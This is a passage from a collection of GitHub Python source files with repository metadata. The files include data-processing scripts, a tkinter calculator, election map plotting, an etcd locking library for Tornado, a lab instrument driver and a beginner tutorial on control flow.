main()\n","repo_name":"keleven-uk/pyKlock","sub_path":"pyDigitalKlock_pygubu/src/pyDigitalKlock.py","file_name":"pyDigitalKlock.py","file_ext":"py","file_size_in_byte":10050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39935506457","text":"# -*- coding: utf-8 -*-\nimport os\nfrom knowledge.reader import data\n\n\nif __name__ == '__main__':\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n save_file = os.path.join(BASE_DIR, 'words/genre.txt')\n genre = []\n for dic in data.values():\n synonyms = list(dic.keys())[0].split(',')\n genre.extend(synonyms)\n\n with open(save_file, 'w') as f:\n f.write('\\n'.join(set(genre)))","repo_name":"Hironsan/HotPepperGourmetDialogue","sub_path":"training_data_generator/scripts/genre_maker.py","file_name":"genre_maker.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":275,"dataset":"github-code","pt":"21"} +{"seq_id":"28496499169","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jul 19 19:03:33 2018\n\n@author: Srikrishna.Sadula\n\"\"\"\n\nfrom pyspark import SparkConf, SparkContext\nconf = SparkConf().setMaster(\"local\").setAppName(\"My App\")\nsc = SparkContext(conf = conf)\n\nlines = sc.textFile(\"D:\\\\projects\\\\machinelearning\\\\mltutor\\\\spark\\\\src\\\\readme.txt\")\nlines.first()\npythonLines = lines.filter(lambda line: \"Python\" in line)\npythonLines.first()\n\nsc.stop()","repo_name":"krishxx/spark","sub_path":"src/spark2_7.py","file_name":"spark2_7.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43868566211","text":"# !/usr/bin/env python3\n# -*- coding:utf-8 -*-\n#\n# Author: Flyaway - flyaway1217@gmail.com\n# Blog: zhouyichu.com\n#\n# Python release: 3.4.5\n#\n# Date: 2017-02-21 10:29:21\n# Last modified: 2017-02-21 10:42:39\n\n\"\"\"\nCalculate the statistics information of the given data set.\n\"\"\"\n\n\ndef stat(path):\n with open(path, encoding='latin-1') as f:\n word_count = 0\n unique_words = set()\n sent_count = 0\n for line in f:\n if len(line.strip()) != 0:\n word_count += 1\n word = line.strip().split()[0]\n unique_words.add(word)\n else:\n sent_count += 1\n print('In the file {a}:\\n'.format(a=path))\n print('There are {a} sentences.'.format(a=sent_count))\n print('There are {a} words in total.'.format(a=word_count))\n print('There are {a} unique words.'.format(a=str(len(unique_words))))\n\nif __name__ == '__main__':\n # path = '../data/esp.train'\n # path = '../data/esp.testa'\n path = '../data/esp.testb'\n stat(path)\n","repo_name":"flyaway1217/CS-6390-Information-Extraction","sub_path":"ner/source/stat.py","file_name":"stat.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4553064809","text":"from tkinter import *\n\nif __name__ == \"__main__\":\n def add():\n s1 = int(num01.get())\n s2 = int(num02.get())\n\n result[\"text\"] = s1 + s2\n\n def sub():\n s1 = int(num01.get())\n s2 = int(num02.get())\n\n result[\"text\"] = s1 - s2\n\n def mul():\n s1 = int(num01.get())\n s2 = int(num02.get())\n\n result[\"text\"] = s1 * s2\n\n def div():\n s1 = int(num01.get())\n s2 = int(num02.get())\n\n result[\"text\"] = s1 / s2\n\n calc = Tk()\n calc.title(\"Calculator\")\n calc.geometry(\"160x100\")\n\n Label(calc, text=\"수 - 1\").grid(row=0)\n Label(calc, text=\"수 - 2\").grid(row=1)\n Label(calc, text=\"결과\").grid(row=2)\n\n num01 = Entry(calc, width=20)\n num01.grid(row=0, column=1)\n\n num02 = Entry(calc, width=20)\n num02.grid(row=1, column=1)\n\n result = Label(calc, relief=\"raised\", width=17, bd=2, bg=\"green\")\n result.grid(row=2, column=1)\n\n Button(calc, text=\"+\", width=2, command=add).place(x=30, y=70)\n Button(calc, text=\"-\", width=2, command=sub).place(x=60, y=70)\n Button(calc, text=\"*\", width=2, command=mul).place(x=90, y=70)\n Button(calc, text=\"/\", width=2, command=div).place(x=120, y=70)\n\n calc.mainloop()\n","repo_name":"rivercity310/study","sub_path":"basic/linear_algebra/tkinter_ex4.py","file_name":"tkinter_ex4.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"18319293138","text":"from lib.read_excel import *\nfrom config.config import *\n\n\ndef get_data_list(sheet_name):\n if sheet_name == \"client_info\":\n client_data_list = excel_to_list(os.path.join(data_path, \"loan_info.xlsx\"), sheet_name)\n return client_data_list\n elif sheet_name == \"login_user\":\n user_data_list = excel_to_list(os.path.join(data_path, \"loan_info.xlsx\"), sheet_name)\n return user_data_list\n elif sheet_name == \"contact_info\":\n contact_data_list = excel_to_list(os.path.join(data_path, \"loan_info.xlsx\"), sheet_name)\n return contact_data_list\n","repo_name":"restart759/Test_framework","sub_path":"object/baseuse/get_data_list.py","file_name":"get_data_list.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"19944478071","text":"import pathlib\nimport sys\nimport pandas as pd\nfrom slugify import slugify\nimport numpy as np\nfrom map_basics import (\n create_folium_choropleth,\n load_json_file,\n create_tool_tip,\n read_csv_results,\n)\n\n\nVALGKRETS_DIR = pathlib.Path('valgkretser')\nVALGKRETS = 'krets-{}.geojson'\n\n\ndef _load_geojson_file(kommune_id):\n \"\"\"Load data from a geojson file.\"\"\"\n geojson_file = VALGKRETS_DIR.joinpath(\n VALGKRETS.format(kommune_id)\n )\n return load_json_file(geojson_file)\n\n\ndef get_center(features):\n \"\"\"Calculate the geometric center for some features.\"\"\"\n averages = []\n for feature in features:\n for polygon in feature['geometry']['coordinates']:\n coord = np.array(polygon)\n averages.append(np.average(coord, axis=0))\n averages = np.array(averages)\n return np.average(averages, axis=0)\n\n\ndef extract_data(results, kommune_id, party):\n \"\"\"Extract the required data.\"\"\"\n kommune_data = results[results['Kommunenummer'] == kommune_id]\n parti_data = kommune_data[kommune_data['Partinavn'] == party]\n raw_data = {}\n kretser = []\n for _, row in parti_data.iterrows():\n raw_data[row['Stemmekretsnummer']] = {\n 'krets': row['Stemmekretsnavn'],\n 'partinavn': row['Partinavn'],\n 'oppslutning': row['Oppslutning prosentvis'],\n 'kommunenavn': row['Kommunenavn'],\n }\n kretser.append(row['Stemmekretsnavn'])\n all_same = len(kretser) == 1 and kretser[0] == 'Hele kommunen'\n return raw_data, all_same\n\n\ndef get_geojson_data(result_file, party, kommune_id):\n \"\"\"Read in result files are produce corresponding geojson data.\"\"\"\n results = read_csv_results(result_file)\n kommune_data = results[results['Kommunenummer'] == kommune_id]\n kommune_navn = kommune_data['Kommunenavn'].tolist()[0]\n print('Reading data for \"{}\" in \"{}\"'.format(party, kommune_navn))\n raw_data, all_same = extract_data(results, kommune_id, party)\n geojson_data = _load_geojson_file(kommune_id)\n # Check that we have data for all features:\n for feature in geojson_data['features']:\n if not all_same:\n krets = str(\n feature['properties']['valgkretsnummer']\n ).rjust(4, '0')\n else:\n krets = '0000'\n feature['properties']['oppslutning'] = '({:4.2f} %)'.format(\n raw_data[krets]['oppslutning']\n )\n feature['properties']['partinavn'] = raw_data[krets]['partinavn']\n feature['properties']['krets'] = krets\n map_settings = {\n 'title': kommune_navn,\n 'party': party,\n 'center': get_center(geojson_data['features'])[::-1],\n 'zoom': 10,\n 'value_key': 'oppslutning',\n 'tooltip': create_tool_tip(\n ('valgkretsnavn', 'partinavn', 'oppslutning'),\n ('Krets:', 'Parti', 'Oppslutning (%)'),\n labels=False,\n )\n }\n return geojson_data, raw_data, map_settings\n\n\ndef main(result_file, party, kommune_id):\n \"\"\"Read input file and create the map.\"\"\"\n geojson_data, results, map_settings = get_geojson_data(\n result_file, party, kommune_id\n )\n the_map = create_folium_choropleth(geojson_data, results, map_settings)\n\n out = 'stemmekrester-{}-kommune-{}-{}.html'.format(\n slugify(party), kommune_id, slugify(map_settings['title'])\n )\n print('Writing map to \"{}\"'.format(out))\n the_map.save(out)\n\n\nif __name__ == '__main__':\n main(sys.argv[1], sys.argv[2], sys.argv[3])\n","repo_name":"andersle/valg","sub_path":"kart_parti_i_kommune.py","file_name":"kart_parti_i_kommune.py","file_ext":"py","file_size_in_byte":3516,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10177190373","text":"import numpy as np\nimport pandas as pd\nimport plotly.express as px\nfrom sklearn.metrics import recall_score\n\nPOSITIVE_COLOR = \"#1E90FF\"\nNEGATIVE_COLOR = \"#FF6347\"\nLABELED_COLOR = \"#78B639\"\nUNLABELED_COLOR = \"#A9A9A9\"\n\n\ndef plot_x_y(xs: np.array, ys: np.array):\n df = pd.DataFrame.from_dict(\n {\n \"x_0\": xs[:, 0],\n \"x_1\": xs[:, 1],\n \"y\": [\"Positive\" if y == 1 else \"Negative\" for y in ys],\n }\n )\n return px.scatter(\n df,\n x=\"x_0\",\n y=\"x_1\",\n color=\"y\",\n color_discrete_map={\"Negative\": NEGATIVE_COLOR, \"Positive\": POSITIVE_COLOR},\n )\n\n\ndef plot_x_y_proba(xs: np.array, ys_prob: np.array):\n df = pd.DataFrame.from_dict(\n {\n \"x_0\": xs[:, 0],\n \"x_1\": xs[:, 1],\n \"y\": ys_prob,\n }\n )\n return px.scatter(\n df,\n x=\"x_0\",\n y=\"x_1\",\n color=\"y\",\n color_continuous_scale=[NEGATIVE_COLOR, POSITIVE_COLOR],\n range_color=[0.0, 1.0],\n )\n\n\ndef plot_x_y_list(xs: np.array, ys_list: list):\n df = pd.DataFrame(index=[], columns=[\"x_0\", \"x_1\", \"y\", \"clf_index\"])\n for i in range(len(ys_list)):\n df_ = pd.DataFrame.from_dict(\n {\n \"x_0\": xs[:, 0],\n \"x_1\": xs[:, 1],\n \"y\": [\"Positive\" if y == 1 else \"Negative\" for y in ys_list[i]],\n \"clf_index\": i,\n }\n )\n df = pd.concat([df, df_])\n return px.scatter(\n df,\n x=\"x_0\",\n y=\"x_1\",\n facet_row=\"clf_index\",\n color=\"y\",\n color_discrete_map={\"Negative\": NEGATIVE_COLOR, \"Positive\": POSITIVE_COLOR},\n )\n\n\ndef plot_x_s(xs: np.array, ss: np.array):\n df = pd.DataFrame.from_dict(\n {\n \"x_0\": xs[:, 0],\n \"x_1\": xs[:, 1],\n \"s\": [\"Positive\" if s == 1 else \"Unlabeled\" for s in ss],\n }\n )\n return px.scatter(\n df,\n x=\"x_0\",\n y=\"x_1\",\n color=\"s\",\n color_discrete_map={\"Unlabeled\": UNLABELED_COLOR, \"Positive\": LABELED_COLOR},\n )\n\n\ndef plot_x_s_proba(xs: np.array, ss_prob: np.array):\n df = pd.DataFrame.from_dict(\n {\n \"x_0\": xs[:, 0],\n \"x_1\": xs[:, 1],\n \"s\": ss_prob,\n }\n )\n return px.scatter(\n df,\n x=\"x_0\",\n y=\"x_1\",\n color=\"s\",\n color_continuous_scale=[UNLABELED_COLOR, LABELED_COLOR],\n range_color=[0.0, 1.0],\n )\n\n\ndef f1_prime(ys: np.array, ys_hat: np.array):\n r = recall_score(ys, ys_hat)\n ratio_p = len(ys_hat[ys_hat == 1]) / len(ys_hat)\n if ratio_p == 0.0:\n return 0.0\n else:\n return r**2 / ratio_p\n","repo_name":"hkiyomaru/pu-learning","sub_path":"notebooks/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2688,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"21"} +{"seq_id":"28081601635","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\netcd 异步 服务发现 异步 锁\n\"\"\"\nimport uuid\nfrom collections import namedtuple, defaultdict\nimport etcd\nimport threading\nimport logging\nfrom tornado.ioloop import IOLoop\nfrom tornado import gen\nfrom tornado.concurrent import Future\nfrom singleton import Singleton\n\n\nclass EtcdProcess(object):\n \"\"\"\"\n etcd 线程\n \"\"\"\n\n def __init__(self, watch_root, etcd_servers, sentry=None):\n \"\"\"\n init\n :param str watch_root: 监控的根目录\n :param tuple etcd_servers: etcd 服务器列表\n :param dict sentry: sentry object\n \"\"\"\n self.watch_root = watch_root\n self.client = etcd.Client(host=etcd_servers, allow_reconnect=True)\n self.sentry = sentry\n self._local_index = None\n self.key_process_dict = dict()\n self.thread = None\n\n def run(self):\n \"\"\"\n 循环阻塞获得etcd key的变化\n \"\"\"\n while True:\n try:\n response = self.client.watch(self.watch_root, recursive=True, timeout=0, index=self._local_index)\n self._local_index = response.modifiedIndex + 1\n\n etcd_key = response.key\n dir_list = etcd_key.split(\"/\")\n process_dir = dir_list[2]\n\n if self.key_process_dict.get(process_dir):\n response.dir_list = dir_list[3:]\n self.key_process_dict[process_dir](response)\n\n except Exception as exp:\n logging.error(\"tornado etcd thread error: %s\", str(exp))\n if self.sentry:\n self.sentry.captureException(exc_info=True)\n\n def _start_thread(self):\n \"\"\"\n 开启线程并确保线程可用\n :return:\n \"\"\"\n if not self.thread or not self.thread.is_alive():\n t = threading.Thread(target=self.run)\n self.thread = t\n t.setDaemon(True)\n t.start()\n logging.info(\"tornado etcd start thread\")\n\n def register(self, key, process):\n \"\"\"\n 注册处理器 eg: key=\"lock\" process=lock_process\n :param str key: 关注的目录\n :param func process: 处理器\n :return:\n \"\"\"\n if key in self.key_process_dict:\n raise RuntimeError(\"tornado etcd key: %s has existed\" % key)\n self.key_process_dict[key] = process\n\n\nclass ProcessBase(Singleton):\n \"\"\"\n 处理器基类\n \"\"\"\n\n def __init__(self, watch_root, etcd_servers, sentry=None):\n \"\"\"\n init\n :param key:\n :param etcd_servers:\n :param sentry:\n \"\"\"\n self.watch_root = watch_root\n self.etcd_process = EtcdProcess(watch_root, etcd_servers, sentry)\n self.client = etcd.Client(host=etcd_servers, allow_reconnect=True)\n self.watch_dict = defaultdict(list)\n self.etcd_process.register(self.base_key, self.process)\n\n def get_full_key(self, key):\n \"\"\"\n 获得带路径的key值 eg: key = \"read_lock\" return /base_dir/lock/read_lock\n :param str key: 部分key值\n :return: \"获得带路径的key值\"\n \"\"\"\n dir_list = self.watch_root.split(\"/\")\n dir_list.extend([self.base_key, key])\n return \"/\".join(dir_list)\n\n def test_and_set(self, key, value, prev_value, ttl=None):\n \"\"\"\n etcd test_and_set 封装\n :param str key: 部分key值\n :param value: 设置的值\n :param prev_value: 设置前的值\n :param ttl: 过期时间\n :return:\n \"\"\"\n key = self.get_full_key(key)\n return self.client.test_and_set(key, value, prev_value, ttl)\n\n def set(self, key, value, ttl=None, dir=False, append=False, **kwdargs):\n \"\"\"\n etcd set 封装\n :param key: 部分key值\n :param value: 设置的值\n :param ttl: 过期时间\n :param dir: 目录\n :param append: \n :param kwdargs: \n :return: \n \"\"\"\n key = self.get_full_key(key)\n return self.client.write(key, value, ttl, dir, append, **kwdargs)\n\n def get(self, key, **kwdargs):\n \"\"\"\n etcd get 封装\n :param key: \n :param kwdargs: \n :return: \n \"\"\"\n key = self.get_full_key(key)\n return self.client.read(key, **kwdargs)\n\n def process(self, etcd_value):\n \"\"\"\n 处理器\n :param etcd_value:\n :return:\n \"\"\"\n raise NotImplementedError\n\n\nclass WatchProcess(ProcessBase):\n \"\"\"\n 监控关键字,关键字不变化,协程阻塞,关键字有变化,协程继续执行\n \"\"\"\n\n def __init__(self, watch_root, etcd_servers, sentry=None):\n \"\"\"\n init\n :param key: \n :param etcd_servers: \n :param sentry: \n \"\"\"\n self.base_key = \"watch\"\n super(WatchProcess, self).__init__(watch_root, etcd_servers, sentry)\n\n def watch_key(self, key):\n \"\"\"\n 监控关键字,关键字不变化,协程阻塞,关键字有变化,协程继续执行\n :param str key: 监控的关键字\n :return:\n \"\"\"\n self.etcd_process._start_thread()\n\n future = Future()\n self.watch_dict[key].append(future)\n return future\n\n def process(self, etcd_res):\n \"\"\"\n 监控关键字处理器\n :param etcd_res:\n :return:\n \"\"\"\n etcd_key = etcd_res.dir_list[0]\n etcd_value = etcd_res.value\n\n if etcd_key in self.watch_dict.keys():\n future_list = self.watch_dict[etcd_key]\n # 唤醒所有等待的watch\n for future in future_list:\n future.set_result((True, etcd_value))\n\n del self.watch_dict[etcd_key]\n\n\nclass EternalWatchProcess(ProcessBase):\n \"\"\"\n 监控关键字,关键字不变化,协程阻塞,关键字有变化,协程继续执行\n \"\"\"\n\n def __init__(self, watch_root, etcd_servers, sentry=None):\n \"\"\"\n init\n :param key:\n :param etcd_servers:\n :param sentry:\n \"\"\"\n self.base_key = \"eternal_watch\"\n super(EternalWatchProcess, self).__init__(watch_root, etcd_servers, sentry)\n\n def get_key(self, key):\n \"\"\"\n 监控关键字,关键字不变化,协程阻塞,关键字有变化,协程继续执行\n :param str key: 监控的关键字\n :return:\n \"\"\"\n self.etcd_process._start_thread()\n\n if not self.watch_dict.get(key):\n # etcd 中必须提前设置该key,否则报错\n etcd_res = self.get(key)\n self.watch_dict[key] = etcd_res.value\n\n return self.watch_dict[key]\n\n def process(self, etcd_res):\n \"\"\"\n 监控关键字处理器\n :param etcd_res:\n :return:\n \"\"\"\n etcd_key = etcd_res.dir_list[0]\n etcd_value = etcd_res.value\n\n if etcd_key in self.watch_dict.keys():\n # 更新值\n self.watch_dict[etcd_key] = etcd_value\n\n\nclass LockProcess(ProcessBase):\n \"\"\"\n 锁\n \"\"\"\n UNLOCK = \"no_lock\"\n Lock_Item = namedtuple(\"Lock_Item\", (\"future\", \"token\", \"ttl\"))\n\n def __init__(self, watch_root, etcd_servers, sentry=None):\n \"\"\"\n init\n :param key:\n :param etcd_servers:\n :param sentry:\n \"\"\"\n self.base_key = \"lock\"\n self.wait_lock_dict = defaultdict(list)\n self.locking_dict = dict()\n super(LockProcess, self).__init__(watch_root, etcd_servers, sentry)\n\n def process(self, etcd_res):\n \"\"\"\n 锁处理器\n :param etcd_res:\n :return:\n \"\"\"\n etcd_key = etcd_res.dir_list[0]\n etcd_value = etcd_res.value\n\n wait_lock_list = self.wait_lock_dict[etcd_key]\n\n # 解锁状态 或者 锁超时 进行解锁操作\n if etcd_value in (self.UNLOCK, None) and wait_lock_list:\n lock_item = wait_lock_list[0]\n lock_flag = self._lock(etcd_key, lock_item)\n\n if lock_flag:\n logging.info(\"tornado etcd lock sucess key:%s\", etcd_key)\n lock_item.future.set_result((True, lock_item.token))\n self.locking_dict[etcd_key] = lock_item\n self.wait_lock_dict[etcd_key].pop(0)\n\n # 锁超时\n elif not etcd_value:\n if self.locking_dict.get(etcd_key):\n ttl = self.locking_dict[etcd_key].ttl\n del self.locking_dict[etcd_key]\n raise RuntimeError(\"key: %s ttl: %s,lock time out\" % (etcd_key, ttl))\n\n def _lock(self, key, lock_item):\n \"\"\"\n 尝试加锁\n :param str key: 关键字\n :param str lock_uuid: lock码\n :return: bool 加锁是否成功\n \"\"\"\n token = lock_item.token\n ttl = lock_item.ttl\n try:\n self.test_and_set(key, token, self.UNLOCK, ttl)\n return True\n\n except etcd.EtcdKeyNotFound:\n try:\n self.set(key, token, prevExist=False, recursive=True, ttl=ttl)\n return True\n except etcd.EtcdAlreadyExist as e:\n logging.debug(e)\n return False\n\n except etcd.EtcdCompareFailed as e:\n logging.debug(e)\n return False\n\n def lock(self, key, ttl=None):\n \"\"\"\n 加锁\n :param str key: 关键字\n :param int ttl: 过期时间\n :return: Future object\n \"\"\"\n self.etcd_process._start_thread()\n future = Future()\n\n token = uuid.uuid4().hex\n lock_item = self.Lock_Item(future, token, ttl)\n lock_flag = self._lock(key, lock_item)\n if lock_flag:\n self.locking_dict[key] = lock_item\n future.set_result((True, token))\n else:\n self.wait_lock_dict[key].append(lock_item)\n return future\n\n def unlock(self, key, token):\n \"\"\"\n 解锁\n :param key:\n :return:\n \"\"\"\n try:\n self.test_and_set(key, self.UNLOCK, token)\n logging.info(\"tornado etcd unlock key: %s, token: %s\", key, token)\n return True\n except (etcd.EtcdCompareFailed, etcd.EtcdKeyNotFound) as e:\n logging.error(\"tornado etcd unlock before lock %s\", e)\n return False\n\n\nif __name__ == \"__main__\":\n ETCD_SERVERS = ((\"127.0.0.1\", 2379),)\n etcd_watch = LockProcess(\"/watch\", ETCD_SERVERS, None)\n\n\n def start_loop(function_list):\n \"\"\"\n 仅供脚本使用\n :param function_list:\n :return:\n \"\"\"\n io_loop = IOLoop.instance()\n future_list = []\n\n def stop(future):\n future_list.remove(future)\n if not future_list:\n io_loop.stop()\n\n for function in function_list:\n future = function()\n future_list.append(future)\n io_loop.add_future(future, lambda x: stop(x))\n\n io_loop.start()\n\n\n @gen.coroutine\n def test():\n # res = yield etcd_watch.get(\"/watch/a\")\n\n # res = yield etcd_watch.watch(\"/watch/aa\")\n\n # res = yield etcd_watch.get(\"/watch/aaa\")\n\n # a = \"hello\"\n # a += \"q\"\n import time\n start_time = time.time()\n flag, token = yield etcd_watch.lock(\"ba\")\n logging.error(token)\n\n def tmp():\n f = Future()\n IOLoop.current().call_later(1, lambda: f.set_result(None))\n return f\n\n yield tmp()\n res = etcd_watch.unlock(\"ba\", token)\n logging.error(\"执行时间:\")\n logging.error(time.time() - start_time)\n raise gen.Return(res)\n\n\n start_loop([test, test, test, test, test, test, test, test, test, test, test, test, ])\n # IOLoop.current().run_sync(test)\n # def main():\n # IOLoop.current().run_sync(test)\n #\n #\n # from multiprocessing import Process\n #\n # for _ in range(2):\n # p = Process(target=main)\n # p.daemon = False\n # p.start()\n","repo_name":"h094071/utils","sub_path":"etcd_lib/tornado_etcd.py","file_name":"tornado_etcd.py","file_ext":"py","file_size_in_byte":12064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8341383654","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSet of functions to control Lakeshore 340 temperature controller.\n\nPython 3.7\n\n@author: Carlos galdino\ngaldino@ifi.unicamp.br\n\"\"\"\n\nimport KUSB_488A_communication as gpib\n\n\nclass Lakeshore_340():\n \"\"\"Lakeshore 340 temperature controller.\"\"\"\n\n def __init__(self, address):\n self.address = address\n\n # Configure Control Loop Parameters\n gpib.send('\\\"CSET 1 A 1 on\\\"', self.address)\n self.input = 'A'\n self.controlLoop = '1'\n\n\n def heater_range(self, *args):\n \"\"\"Set and get heater range\n\n heater_range() >> Query Heater Range.\n heater_range(0-5) >> Configure Heater Range (from 0 to 5).\n\n :params range: heater range.\n\n :Return: the heater range.\n \"\"\"\n # if len(args)==1:\n # gpib.send('\\\"Range ' + str(args[0]) + '\\\"', self.address)\n # else:\n # gpib.send('RANGE?', self.address)\n # return float(gpib.receive(self.address))\n if len(args)==1:\n gpib.send('\\\"RANGE ' + str(args[0]) + '\\\"', self.address)\n else:\n gpib.send('RANGE?', self.address)\n try:\n return float(gpib.receive(self.address))\n except ValueError:\n print('ERROR: Communication lost.')\n\n\n def heater_output(self):\n \"\"\"Get Heater Output (0 to 100%).\n\n :Return: heater output in percent.\n \"\"\"\n # gpib.send('HTR?', self.address)\n # return float(gpib.receive(self.address))\n if len(args)==1:\n gpib.send('\\\"MOUT ' + self.controlLoop + ', ' + str(args[0]) + '\\\"', self.address)\n else:\n gpib.send('HTR?', self.address)\n try:\n return float(gpib.receive(self.address))\n except ValueError:\n print('ERROR: Communication lost.')\n\n def get_setpoint(self):\n \"\"\"Get Control Loop Setpoint.\n\n :Return: Returns the control loop setpoint.\n \"\"\"\n gpib.send('\\\"SETP? ' + self.controlLoop + '\\\"', self.address)\n # return float(gpib.receive(self.address))\n try:\n return float(gpib.receive(self.address))\n except ValueError:\n print('ERROR: Communication lost.')\n\n def t(self, *args):\n \"\"\"Set/get temperature.\n\n t() queries temperature.\n t(setpoint) sets the setpoint temperature of the selected input.\n\n :params setpoint: temperature setpoint in Kelvin.\n \"\"\"\n\n # if len(args)==1:\n # gpib.send('\\\"SETP ' + self.controlLoop + ', ' + str(args[0]) + '\\\"', self.address)\n # else:\n # gpib.send('\\\"KRDG? ' + self.input + '\\\"', self.address)\n # return float(gpib.receive(self.address))\n\n if len(args)==1:\n gpib.send('\\\"SETP ' + self.controlLoop + ', ' + str('{:.3f}'.format(float(args[0]))) + '\\\"', self.address)\n else:\n gpib.send('\\\"KRDG? ' + self.input + '\\\"', self.address)\n try:\n return float(gpib.receive(self.address))\n except ValueError:\n print('ERROR: Communication lost.')\n","repo_name":"cwgaldino/amreft-m4p","sub_path":"amreft-mp4/Lakeshore.py","file_name":"Lakeshore.py","file_ext":"py","file_size_in_byte":3130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35912307482","text":"# 먼저 사용자 입력 필수\n# input()\n\nname = input('enter your name : ')\ngray = input('enter your grade : ')\ncompany = input('enter your company : ')\n\nprint(name, grade, company)\n\nscore = int(input('Enter your score: '))\nprint(score)\n\nprint(type(score)) # int\n\n\n# 파이썬 제어문\n# if, if ~else, if ~ elif ~ else\n# bool True : 0 이 아닌 수, 문자, 데이터가 있는 리스트, 튜플, 딕셔너리\nif not False :\n print('Bad') # Bad\n\nif False :\n print(\"Bad\")\nelse :\n print(\"good\") # good\n\n# 아래의 값이 3의 배수인지 5의 배수인지 아닌지 검정하고 싶다면?\nnumber = 3\nif number % 3 == 0 or number % 5 == 0:\n print(\"{}은 3 또는 5의 배수입니다\".format(number))\n\nelse :\n print('{}은 3과 5의 배수가 아닙니다'.format(number))\n\n\n# 윤년의 조건\n# 4의 배수이고 100의 배수가 아니거나 400의 배수일 때\n# if 구문을 사용하여 연도와 월을 입력받아서 월의 마지막 일을 출력하라\n\nfrom datetime import date, datetime,timedelta\n\n\n\nyear = int(input('년도를 입력하세요: '))\nmonth = int(input('월을 입력하세요: '))\nyear_month = [31,28,31,30,31,30,31,31,30,31,30,31]\nleap_year_month = [31,29,31,30,31,30,31,31,30,31,30,31]\n\n\n\nif (year % 4 == 0 and year % 100 != 0) :\n print('해당 월의 마지막 날: {} '.format(leap_year_month[month-1]))\nelif (year % 400 == 0):\n print('해당 월의 마지막 날:{} '.format(leap_year_month[month-1]))\nelse :\n print('윤년이 아닙니다.'.format(year_month[month-1]))\n\n\n\n# 중첩 조건문\n# A학점이면서 95 이상의 점수면 장학금 100%\n# A학점이면서 90 이상의 점수면 장학금 90%\n# A학점이 아니면 장학금 50%\n\ngrade=input('학점 입력: ')\ntotal=int(input('점수 입력: '))\n\nif grade == 'A':\n if total >= 95 :\n print(\"장학금 100%\")\n else :\n print(\"장학금 95%\")\nelse :\n print(\"장학금 50%\")\n\n\n\narea = ['서울','부산','제주']\nregion = '수원'\n\nif region in area :\n pass\nelse :\n print('{} 지역은 포함되지 않습니다'.format(region))\n\n\nmydict = {'서울':100, '광주':200}\nregion = '부산'\nif region in mydict:\n print('키 값이 존재합니다')\nelse:\n print('키 값이 존재하지 않습니다')\n\n\nnum = 9\nresult = 0\nif num >= 5 :\n result = num * 2\nelse:\n result = num + 2\nprint(result)\n\n# 삼항 연산자\nresult = num*2 if (num>=5) else num +2\nprint(result)\n\n\n# 참, 거짓 판별 종류\ncity =' '\nif city :\n print(city)\nelse :\n print('Please')\n\nmoney = ''\nif money :\n print('맛점')\nelse :\n print('ㅠㅡㅠ')\n\n# 사용자로부터 하나의 값을 입력받아 해당 값에 20을 뺀 값을 출력\n# 단, 출력 값의 범위는 0~225이다\n# 예를 들어 결과값이 0보다 작은 값이 되는 경우 0을 출력하고 255보다 큰 값이 되는 경우 255를 출력\nnum = int(input('숫자입력: '))\n\nif num <0 :\n print('0')\nelif 0<num<226:\n print(num-20)\nelse:\n print('255')\n\n","repo_name":"OfficialSeonyeong/TIL","sub_path":"서비스산업데이터분석실무과정/06_python/08_control_statement.py","file_name":"08_control_statement.py","file_ext":"py","file_size_in_byte":2982,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2474407745","text":"\"\"\"insert roles\n\nRevision ID: 23464356d0f3\nRevises: f127e66f699b\nCreate Date: 2022-08-08 13:13:34.902738\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.exc import IntegrityError\nfrom sqlalchemy.orm import Session\n\nfrom models import create_sync_session, Role\n\n\n# revision identifiers, used by Alembic.\nrevision = '23464356d0f3'\ndown_revision = 'f127e66f699b'\nbranch_labels = None\ndepends_on = None\n\nroles = ['user', 'admin', 'support']\n\n\n@create_sync_session\ndef upgrade(session: Session = None) -> None:\n for role in roles:\n role = Role(name=role)\n session.add(role)\n try:\n session.commit()\n except IntegrityError:\n pass\n\n\n@create_sync_session\ndef downgrade(session: Session = None) -> None:\n for role in roles:\n session.execute(\n sa.delete(Role)\n .where(Role.name == role)\n )\n session.commit()\n","repo_name":"ArtsemDev/bh_exam_57","sub_path":"alembic/versions/23464356d0f3_insert_roles.py","file_name":"23464356d0f3_insert_roles.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"45659226405","text":"import numpy as np\n\n# https://github.com/allenwind/text-color-render\n\n# ANSI escape code\nansi_code_ids = [15, 224, 217, 210, 203, 9, 160, 124, 88]\nlength = len(ansi_code_ids)\n\nhexcolors = [\n \"#f5f5ff\",\n \"#ffe0e0\",\n \"#ffb6b6\",\n \"#ff8d8d\",\n \"#ff6363\",\n \"#ff3939\",\n \"#ff1010\",\n \"#f20000\",\n \"#dd0000\",\n \"#c80000\",\n \"#b40000\",\n \"#9f0000\",\n \"#8a0000\",\n]\nhex_lenght = len(hexcolors)\n\ntemplate = 